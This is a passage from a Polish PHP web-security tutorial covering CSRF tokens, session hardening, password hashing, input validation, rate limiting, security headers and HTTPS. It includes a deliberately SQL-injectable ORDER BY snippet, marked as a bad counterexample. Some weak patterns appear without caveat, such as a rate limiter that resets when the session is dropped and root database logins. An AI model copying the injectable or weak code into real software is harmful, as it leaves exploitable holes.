    // Sprawdź token CSRF
    $csrf_token = $_POST&#91;'csrf_token'] ?? '';
    
    if (!verifyCSRFToken($csrf_token)) {
        die('Nieprawidłowy token CSRF! Możliwa próba ataku.');
    }
    
    // Token poprawny - przetwarzamy formularz
    $username = trim($_POST&#91;'username'] ?? '');
    $email = trim($_POST&#91;'email'] ?? '');
    
    if (!empty($username) &amp;&amp; !empty($email)) {
        
        $stmt = $db-&gt;prepare("INSERT INTO users (username, email, created_at) VALUES (?, ?, NOW())");
        $stmt-&gt;bind_param("ss", $username, $email);
        
        if ($stmt-&gt;execute()) {
            $success = true;
            
            // Usuń token po użyciu (jednorazowy)
            unset($_SESSION&#91;'csrf_token']);
        }
        
        $stmt-&gt;close();
    }
}

// Generuj nowy token dla formularza
$csrf_token = generateCSRFToken();

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja z ochroną CSRF&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Rejestracja użytkownika&lt;/h1&gt;

&lt;?php if ($success): ?&gt;
    &lt;div class="success"&gt;
        Użytkownik został zarejestrowany pomyślnie!
    &lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;form method="POST"&gt;
    &lt;!-- Ukryty token CSRF --&gt;
    &lt;input type="hidden" name="csrf_token" value="&lt;?= htmlspecialchars($csrf_token) ?&gt;"&gt;
    
    &lt;div class="form-group"&gt;
        &lt;label&gt;Username:&lt;/label&gt;
        &lt;input type="text" name="username" required&gt;
    &lt;/div&gt;
    
    &lt;div class="form-group"&gt;
        &lt;label&gt;Email:&lt;/label&gt;
        &lt;input type="email" name="email" required&gt;
    &lt;/div&gt;
    
    &lt;button type="submit"&gt;Zarejestruj&lt;/button&gt;
&lt;/form&gt;

&lt;p&gt;&lt;small&gt;Token CSRF: &lt;?= substr($csrf_token, 0, 16) ?&gt;...&lt;/small&gt;&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">Zasady ochrony przed CSRF:</h3>



<ul class="wp-block-list">
<li>Używaj tokenów CSRF dla wszystkich formularzy zmieniających dane</li>



<li>Token musi być unikalny i nieprzewidywalny</li>



<li>Sprawdzaj token po stronie serwera</li>



<li>Token powinien być przypisany do sesji użytkownika</li>



<li>Używaj metody POST dla operacji zmieniających dane&nbsp;(nigdy GET!)</li>
</ul>



<h2 class="wp-block-heading">4. Session Hijacking i Session Fixation</h2>



<h3 class="wp-block-heading">Session Hijacking &#8211; Kradzież sesji</h3>



<p class="wp-block-paragraph"><strong>Czym jest?</strong>&nbsp;Przejęcie ID sesji innego użytkownika, co pozwala hakerowi zalogować się jako ten użytkownik.</p>



<ul class="wp-block-list">
<li>Haker przechwytuje ID sesji (przez XSS, packet sniffing, itp.)</li>



<li>Ustawia to ID w swojej przeglądarce</li>



<li>Serwer myśli, że to legalny użytkownik</li>
</ul>



<h3 class="wp-block-heading">Ochrona przed Session Hijacking</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Funkcja regenerująca ID sesji
function secureSession() {
    
    // Regeneruj ID sesji przy każdym logowaniu
    if (!isset($_SESSION&#91;'initiated'])) {
        session_regenerate_id(true);
        $_SESSION&#91;'initiated'] = true;
    }
    
    // Sprawdź IP użytkownika
    if (!isset($_SESSION&#91;'user_ip'])) {
        $_SESSION&#91;'user_ip'] = $_SERVER&#91;'REMOTE_ADDR'];
    } elseif ($_SESSION&#91;'user_ip'] !== $_SERVER&#91;'REMOTE_ADDR']) {
        // IP się zmienił - możliwy atak!
        session_destroy();
        die('Sesja wygasła ze względów bezpieczeństwa');
    }
    
    // Sprawdź User Agent
    if (!isset($_SESSION&#91;'user_agent'])) {
        $_SESSION&#91;'user_agent'] = $_SERVER&#91;'HTTP_USER_AGENT'];
    } elseif ($_SESSION&#91;'user_agent'] !== $_SERVER&#91;'HTTP_USER_AGENT']) {
        // User Agent się zmienił - możliwy atak!
        session_destroy();
        die('Sesja wygasła ze względów bezpieczeństwa');
    }
    
    // Timeout sesji (30 minut)
    if (isset($_SESSION&#91;'last_activity']) &amp;&amp; (time() - $_SESSION&#91;'last_activity'] &gt; 1800)) {
        session_unset();
        session_destroy();
        header("Location: logowanie.php?timeout=1");
        exit;
    }
    $_SESSION&#91;'last_activity'] = time();
}

// Wywołaj przy każdym żądaniu
secureSession();
?&gt;</code></pre>



<h3 class="wp-block-heading">Session Fixation &#8211; Narzucenie ID sesji</h3>



<p class="wp-block-paragraph"><strong>Czym jest?</strong>&nbsp;Haker narzuca swoje ID sesji ofierze, a gdy ofiara się zaloguje, haker również ma dostęp do konta.</p>



<p class="wp-block-paragraph"><strong>Ochrona:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST&#91;'username'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    
    // Sprawdzenie użytkownika w bazie...
    // (kod z poprzednich przykładów)
    
    if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
        
        // REGENERUJ ID SESJI PRZY LOGOWANIU!
        session_regenerate_id(true);
        
        // Zapisz dane użytkownika
        $_SESSION&#91;'user_id'] = $user&#91;'id'];
        $_SESSION&#91;'username'] = $user&#91;'username'];
        $_SESSION&#91;'logged_in'] = true;
        
        // Zapisz fingerprint
        $_SESSION&#91;'user_ip'] = $_SERVER&#91;'REMOTE_ADDR'];
        $_SESSION&#91;'user_agent'] = $_SERVER&#91;'HTTP_USER_AGENT'];
        
        header("Location: panel.php");
        exit;
    }
}
?&gt;</code></pre>



<h3 class="wp-block-heading">Bezpieczna konfiguracja sesji w php.ini</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">; Używaj tylko cookies (nie URL)
session.use_only_cookies = 1

; Niedostępne dla JavaScript
session.cookie_httponly = 1

; Tylko przez HTTPS (w produkcji)
session.cookie_secure = 1

; Ochrona przed CSRF
session.cookie_samesite = "Strict"

; Długość ID sesji
session.sid_length = 48

; Bezpieczny generator
session.sid_bits_per_character = 6</code></pre>



<p class="wp-block-paragraph"><strong>W PHP:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Konfiguracja sesji
ini_set('session.use_only_cookies', 1);
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1); // Tylko dla HTTPS!
ini_set('session.cookie_samesite', 'Strict');

session_start();
?&gt;</code></pre>



<h2 class="wp-block-heading">5. Password Hashing &#8211; Bezpieczne hasła</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST&#91;'username'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    
    // Walidacja hasła
    if (strlen($password) &lt; 8) {
        $errors&#91;] = "Hasło musi mieć min. 8 znaków";
    }
    
    if (empty($errors)) {
        
        // Hashuj hasło (automatycznie używa bcrypt + salt)
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        // Zapisz hash do bazy
        $stmt = $db-&gt;prepare("INSERT INTO users (username, password) VALUES (?, ?)");
        $stmt-&gt;bind_param("ss", $username, $password_hash);
        $stmt-&gt;execute();
        $stmt-&gt;close();
    }
}
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Hash wygląda tak:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$2y$</code>&nbsp;&#8211; algorytm (bcrypt)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">10</code>&nbsp;&#8211; cost (2^10 iteracji)</li>



<li>Losowy salt + hash</li>
</ul>



<p class="wp-block-paragraph"><strong>Logowanie:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST&#91;'username'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    
    // Pobierz użytkownika z bazy
    $stmt = $db-&gt;prepare("SELECT id, username, password FROM users WHERE username = ?");
    $stmt-&gt;bind_param("s", $username);
    $stmt-&gt;execute();
    $wynik = $stmt-&gt;get_result();
    $user = $wynik-&gt;fetch_assoc();
    $stmt-&gt;close();
    
    // Sprawdź hasło
    if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
        
        // Sprawdź czy hash wymaga aktualizacji
        if (password_needs_rehash($user&#91;'password'], PASSWORD_DEFAULT)) {
            $new_hash = password_hash($password, PASSWORD_DEFAULT);
            
            $stmt_update = $db-&gt;prepare("UPDATE users SET password = ? WHERE id = ?");
            $stmt_update-&gt;bind_param("si", $new_hash, $user&#91;'id']);
            $stmt_update-&gt;execute();
            $stmt_update-&gt;close();
        }
        
        echo "Zalogowano pomyślnie!";
    } else {
        echo "Nieprawidłowy login lub hasło";
    }
}
?&gt;</code></pre>



<h3 class="wp-block-heading">Zasady bezpiecznych haseł:</h3>



<ul class="wp-block-list">
<li>Używaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code>&nbsp;z&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">PASSWORD_DEFAULT</code></li>



<li>NIGDY nie używaj MD5 ani SHA1 do haseł!</li>



<li>Wymagaj min. 8 znaków&nbsp;(lepiej 12+)</li>



<li>Sprawdzaj siłę hasła&nbsp;(wielkie/małe litery, cyfry, znaki specjalne)</li>



<li>Nie przechowuj podpowiedzi do hasła</li>
</ul>



<h2 class="wp-block-heading">6. Walidacja i sanityzacja danych</h2>



<h3 class="wp-block-heading">Walidacja &#8211; czy dane są poprawne?</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$email = trim($_POST&#91;'email'] ?? '');
$age = (int)($_POST&#91;'age'] ?? 0);
$url = trim($_POST&#91;'url'] ?? '');

// Walidacja email
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    $errors&#91;] = "Nieprawidłowy format email";
}

// Walidacja wieku
if ($age &lt; 18 || $age &gt; 120) {
    $errors&#91;] = "Wiek musi być między 18 a 120";
}

// Walidacja URL
if (!filter_var($url, FILTER_VALIDATE_URL)) {
    $errors&#91;] = "Nieprawidłowy format URL";
}

// Walidacja wyrażeniem regularnym
$username = trim($_POST&#91;'username'] ?? '');
if (!preg_match('/^&#91;a-zA-Z0-9_]{3,20}$/', $username)) {
    $errors&#91;] = "Username: 3-20 znaków, tylko litery, cyfry i podkreślnik";
}
?&gt;</code></pre>



<h3 class="wp-block-heading">Sanityzacja &#8211; oczyszczanie danych</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$text = $_POST&#91;'text'];

// Usuń białe znaki
$username = trim($_POST&#91;'username']);

// Sanityzacja email
$email = filter_var($_POST&#91;'email'], FILTER_SANITIZE_EMAIL);

// Sanityzacja URL
$url = filter_var($_POST&#91;'url'], FILTER_SANITIZE_URL);

// Sanityzacja liczby
$age = filter_var($_POST&#91;'age'], FILTER_SANITIZE_NUMBER_INT);

// Rzutowanie typu
$id = (int)$_GET&#91;'id'];
$price = (float)$_POST&#91;'price'];
$is_active = (bool)$_POST&#91;'active'];
?></code></pre>



<h3 class="wp-block-heading">Whitelist vs Blacklist</h3>



<p class="wp-block-paragraph"><strong>Blacklist (ZŁE):</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Próba blokowania złych wartości - NIGDY nie złapiesz wszystkich!
$sort = $_GET&#91;'sort'];
if ($sort !== 'DROP' &amp;&amp; $sort !== 'DELETE' &amp;&amp; $sort !== 'UPDATE') {
    $query = "SELECT * FROM users ORDER BY $sort"; // NADAL NIEBEZPIECZNE!
}
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Whitelist (DOBRE):</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Lista dozwolonych wartości
$allowed_sort = &#91;'username', 'email', 'created_at', 'level'];
$sort = $_GET&#91;'sort'] ?? 'username';

if (in_array($sort, $allowed_sort)) {
    $query = "SELECT * FROM users ORDER BY $sort"; // BEZPIECZNE
} else {
    $sort = 'username'; // Domyślna wartość
    $query = "SELECT * FROM users ORDER BY $sort";
}
?&gt;</code></pre>



<h2 class="wp-block-heading">7. Rate Limiting &#8211; Ograniczanie prób logowania</h2>



<p class="wp-block-paragraph">Bez rate limiting haker może próbować tysięcy haseł w sekundę (brute force attack).</p>



<h3 class="wp-block-heading">Implementacja prostego rate limitera</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

function checkRateLimit($max_attempts = 5, $timeout = 300) {
    
    // Inicjalizacja countera
    if (!isset($_SESSION&#91;'login_attempts'])) {
        $_SESSION&#91;'login_attempts'] = 0;
        $_SESSION&#91;'first_attempt_time'] = time();
    }
    
    // Sprawdź czy timeout minął
    if (time() - $_SESSION&#91;'first_attempt_time'] &gt; $timeout) {
        // Reset po timeout
        $_SESSION&#91;'login_attempts'] = 0;
        $_SESSION&#91;'first_attempt_time'] = time();
        unset($_SESSION&#91;'blocked_until']);
    }
    
    // Sprawdź czy zablokowany
    if (isset($_SESSION&#91;'blocked_until']) &amp;&amp; time() &lt; $_SESSION&#91;'blocked_until']) {
        $remaining = $_SESSION&#91;'blocked_until'] - time();
        $minutes = ceil($remaining / 60);
        return &#91;
            'allowed' =&gt; false,
            'message' =&gt; "Za dużo prób logowania. Spróbuj ponownie za {$minutes} minut."
        ];
    }
    
    // Sprawdź liczbę prób
    if ($_SESSION&#91;'login_attempts'] &gt;= $max_attempts) {
        // Zablokuj na 5 minut
        $_SESSION&#91;'blocked_until'] = time() + $timeout;
        return &#91;
            'allowed' =&gt; false,
            'message' =&gt; "Za dużo prób logowania. Zablokowano na 5 minut."
        ];
    }
    
    return &#91;'allowed' =&gt; true];
}

function incrementLoginAttempts() {
    $_SESSION&#91;'login_attempts']++;
}

function resetLoginAttempts() {
    $_SESSION&#91;'login_attempts'] = 0;
    unset($_SESSION&#91;'blocked_until']);
    unset($_SESSION&#91;'first_attempt_time']);
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$errors = &#91;];

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź rate limit
    $rate_limit = checkRateLimit();
    
    if (!$rate_limit&#91;'allowed']) {
        $errors&#91;] = $rate_limit&#91;'message'];
    } else {
        
        $username = trim($_POST&#91;'username'] ?? '');
        $password = $_POST&#91;'password'] ?? '';
        
        if (!empty($username) &amp;&amp; !empty($password)) {
            
            $stmt = $db-&gt;prepare("SELECT id, username, password FROM users WHERE username = ?");
            $stmt-&gt;bind_param("s", $username);
            $stmt-&gt;execute();
            $wynik = $stmt-&gt;get_result();
            $user = $wynik-&gt;fetch_assoc();
            $stmt-&gt;close();
            
            if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
                
                // Sukces - reset countera
                resetLoginAttempts();
                
                $_SESSION&#91;'user_id'] = $user&#91;'id'];
                $_SESSION&#91;'username'] = $user&#91;'username'];
                $_SESSION&#91;'logged_in'] = true;
                
                $db-&gt;close();
                
                header("Location: panel.php");
                exit;
                
            } else {
                // Niepowodzenie - zwiększ counter
                incrementLoginAttempts();
                $errors&#91;] = "Nieprawidłowy login lub hasło";
            }
        }
    }
}

$db-&gt;close();

// Sprawdź ile pozostało prób
$attempts_left = 5 - ($_SESSION&#91;'login_attempts'] ?? 0);
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Logowanie z Rate Limiting&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 400px;
            margin: 50px auto;
            padding: 20px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            width: 100%;
            padding: 10px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Logowanie&lt;/h1&gt;

&lt;?php if (!empty($errors)): ?&gt;
    &lt;div class="error"&gt;
        &lt;?php foreach ($errors as $error): ?&gt;
            &lt;p&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/p&gt;
        &lt;?php endforeach; ?&gt;
    &lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;?php if ($attempts_left &gt; 0 &amp;&amp; $attempts_left &lt; 5): ?&gt;
    &lt;div class="warning"&gt;
        Pozostało prób: &lt;?= $attempts_left ?&gt;
    &lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;form method="POST"&gt;
    &lt;div class="form-group"&gt;
        &lt;input type="text" name="username" placeholder="Username" required&gt;
    &lt;/div&gt;
    &lt;div class="form-group"&gt;
        &lt;input type="password" name="password" placeholder="Hasło" required&gt;
    &lt;/div&gt;
    &lt;button type="submit"&gt;Zaloguj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading">8. Security Headers &#8211; Nagłówki bezpieczeństwa</h2>



<h3 class="wp-block-heading">Content Security Policy (CSP)</h3>



<p class="wp-block-paragraph">Zapobiega XSS poprzez kontrolowanie źródeł zasobów (skrypty, style, obrazy).</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Podstawowy CSP - tylko własne źródła
header("Content-Security-Policy: default-src 'self'");

// Bardziej szczegółowy
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self' https://fonts.gstatic.com");
?&gt;</code></pre>



<h3 class="wp-block-heading">X-Frame-Options</h3>



<p class="wp-block-paragraph">Zapobiega clickjacking (umieszczaniu strony w iframe).</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Zabroń umieszczania w iframe
header("X-Frame-Options: DENY");

// Lub tylko w tej samej domenie
header("X-Frame-Options: SAMEORIGIN");
?&gt;</code></pre>



<h3 class="wp-block-heading">X-Content-Type-Options</h3>



<p class="wp-block-paragraph">Zapobiega MIME sniffing.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
header("X-Content-Type-Options: nosniff");
?&gt;</code></pre>



<h3 class="wp-block-heading">Strict-Transport-Security (HSTS)</h3>



<p class="wp-block-paragraph">Wymusza HTTPS.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Wymuszaj HTTPS przez rok
header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
?&gt;</code></pre>



<h3 class="wp-block-heading">X-XSS-Protection &#8211; PRZESTARZAŁE</h3>



<p class="wp-block-paragraph">Zamiast tego nagłówka należy stosować politykę <strong>Content Security Policy (CSP)</strong> oraz poprawne kodowanie danych wyjściowych (output encoding).</p>



<p class="wp-block-paragraph">Jak to się ustawiało?</p>



<p class="wp-block-paragraph">Włączało wbudowaną ochronę przed XSS w przeglądarce.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
header("X-XSS-Protection: 1; mode=block");
?&gt;</code></pre>



<h3 class="wp-block-heading">Referrer-Policy</h3>



<p class="wp-block-paragraph">Kontroluje jak dużo informacji przekazywać w nagłówku Referer.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
header("Referrer-Policy: strict-origin-when-cross-origin");
?&gt;</code></pre>



<h3 class="wp-block-heading">Permissions-Policy</h3>



<p class="wp-block-paragraph">Kontroluje dostęp do API przeglądarki.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
header("Permissions-Policy: geolocation=(), microphone=(), camera=()");
?&gt;</code></pre>



<h3 class="wp-block-heading">Wszystkie nagłówki razem</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function setSecurityHeaders() {
    // CSP
    header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;");
    
    // Clickjacking
    header("X-Frame-Options: SAMEORIGIN");
    
    // MIME sniffing
    header("X-Content-Type-Options: nosniff");
    
    // XSS Protection
    header("X-XSS-Protection: 1; mode=block");
    
    // HTTPS (tylko w produkcji!)
    // header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
    
    // Referrer
    header("Referrer-Policy: strict-origin-when-cross-origin");
    
    // Permissions
    header("Permissions-Policy: geolocation=(), microphone=(), camera=()");
}

// Wywołaj na początku każdego skryptu
setSecurityHeaders();
?&gt;</code></pre>



<h2 class="wp-block-heading">9. HTTPS i bezpieczne przesyłanie danych</h2>



<p class="wp-block-paragraph">Bez HTTPS:</p>



<ul class="wp-block-list">
<li>Hasła przesyłane w plain text</li>



<li>Dane mogą być podsłuchiwane (Man-in-the-Middle attack)</li>



<li>Dane mogą być modyfikowane w tranzycie</li>
</ul>



<h3 class="wp-block-heading">Wymuszanie HTTPS w PHP</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Sprawdź czy połączenie jest przez HTTPS
if (!isset($_SERVER&#91;'HTTPS']) || $_SERVER&#91;'HTTPS'] !== 'on') {
    // Przekieruj na HTTPS
    $redirect_url = "https://" . $_SERVER&#91;'HTTP_HOST'] . $_SERVER&#91;'REQUEST_URI'];
    header("Location: $redirect_url", true, 301);
    exit;
}
?&gt;</code></pre>



<h3 class="wp-block-heading">Wymuszanie HTTPS w .htaccess</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;"># Przekieruj wszystko na HTTPS
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} &#91;L,R=301]</code></pre>



<h2 class="wp-block-heading">10. Kompleksowy przykład &#8211; Bezpieczny system logowania</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Security headers
header("Content-Security-Policy: default-src 'self'");
header("X-Frame-Options: SAMEORIGIN");
header("X-Content-Type-Options: nosniff");
header("X-XSS-Protection: 1; mode=block");

// Wymuszanie HTTPS (odkomentuj w produkcji)
// if (!isset($_SERVER&#91;'HTTPS']) || $_SERVER&#91;'HTTPS'] !== 'on') {
//     header("Location: https://" . $_SERVER&#91;'HTTP_HOST'] . $_SERVER&#91;'REQUEST_URI']);
//     exit;
// }

// Konfiguracja sesji
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 0); // Zmień na 1 w produkcji z HTTPS
ini_set('session.cookie_samesite', 'Strict');

// CSRF Token
function generateCSRFToken() {
    if (empty($_SESSION&#91;'csrf_token'])) {
        $_SESSION&#91;'csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION&#91;'csrf_token'];
}

function verifyCSRFToken($token) {
    return isset($_SESSION&#91;'csrf_token']) &amp;&amp; hash_equals($_SESSION&#91;'csrf_token'], $token);
}

// Rate Limiting
function checkRateLimit() {
    if (!isset($_SESSION&#91;'login_attempts'])) {
        $_SESSION&#91;'login_attempts'] = 0;
        $_SESSION&#91;'first_attempt_time'] = time();
    }
    
    if (time() - $_SESSION&#91;'first_attempt_time'] &gt; 300) {
        $_SESSION&#91;'login_attempts'] = 0;
        $_SESSION&#91;'first_attempt_time'] = time();
        unset($_SESSION&#91;'blocked_until']);
    }
    
    if (isset($_SESSION&#91;'blocked_until']) &amp;&amp; time() &lt; $_SESSION&#91;'blocked_until']) {
        return &#91;'allowed' =&gt; false, 'message' =&gt; 'Za dużo prób. Zablokowano na 5 minut.'];
    }
    
    if ($_SESSION&#91;'login_attempts'] &gt;= 5) {
        $_SESSION&#91;'blocked_until'] = time() + 300;
        return &#91;'allowed' =&gt; false, 'message' =&gt; 'Za dużo prób. Zablokowano na 5 minut.'];
    }
    
    return &#91;'allowed' =&gt; true];
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    error_log("Connection error: " . $db-&gt;connect_error);
    die('Błąd połączenia z bazą danych');
}

$db-&gt;set_charset('utf8mb4');

$errors = &#91;];

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź CSRF token
    if (!verifyCSRFToken($_POST&#91;'csrf_token'] ?? '')) {
        die('Nieprawidłowy token CSRF');
    }
    
    // Sprawdź rate limit
    $rate_limit = checkRateLimit();
    if (!$rate_limit&#91;'allowed']) {
        $errors&#91;] = $rate_limit&#91;'message'];
    } else {
        
        // Walidacja danych
        $username = trim($_POST&#91;'username'] ?? '');
        $password = $_POST&#91;'password'] ?? '';
        
        if (empty($username)) {
            $errors&#91;] = "Username jest wymagany";
        }
        
        if (empty($password)) {
            $errors&#91;] = "Hasło jest wymagane";
        }
        
        if (empty($errors)) {
            
            // Prepared statement - ochrona przed SQL Injection
            $stmt = $db-&gt;prepare("SELECT id, username, password FROM users WHERE username = ?");
            $stmt-&gt;bind_param("s", $username);
            $stmt-&gt;execute();
            $wynik = $stmt-&gt;get_result();
            $user = $wynik-&gt;fetch_assoc();
            $stmt-&gt;close();
            
            // Password verification
            if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
                
                // Sukces - reset rate limiter
                $_SESSION&#91;'login_attempts'] = 0;
                unset($_SESSION&#91;'blocked_until']);
                
                // Regeneruj ID sesji - ochrona przed Session Fixation
                session_regenerate_id(true);
                
                // Usuń stary CSRF token
                unset($_SESSION&#91;'csrf_token']);
                
                // Zapisz dane użytkownika
                $_SESSION&#91;'user_id'] = $user&#91;'id'];
                $_SESSION&#91;'username'] = $user&#91;'username'];
                $_SESSION&#91;'logged_in'] = true;
                $_SESSION&#91;'login_time'] = time();
                
                // Fingerprint sesji - ochrona przed Session Hijacking
                $_SESSION&#91;'user_ip'] = $_SERVER&#91;'REMOTE_ADDR'];
                $_SESSION&#91;'user_agent'] = $_SERVER&#91;'HTTP_USER_AGENT'];
                
                $db-&gt;close();
                
                header("Location: panel.php");
                exit;
                
            } else {
                // Niepowodzenie - zwiększ counter
                $_SESSION&#91;'login_attempts']++;
                $errors&#91;] = "Nieprawidłowy username lub hasło";
            }
        }
    }
}

$db-&gt;close();

// Generuj token dla formularza
$csrf_token = generateCSRFToken();
$attempts_left = 5 - ($_SESSION&#91;'login_attempts'] ?? 0);
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
    &lt;title&gt;Bezpieczne logowanie&lt;/title&gt;
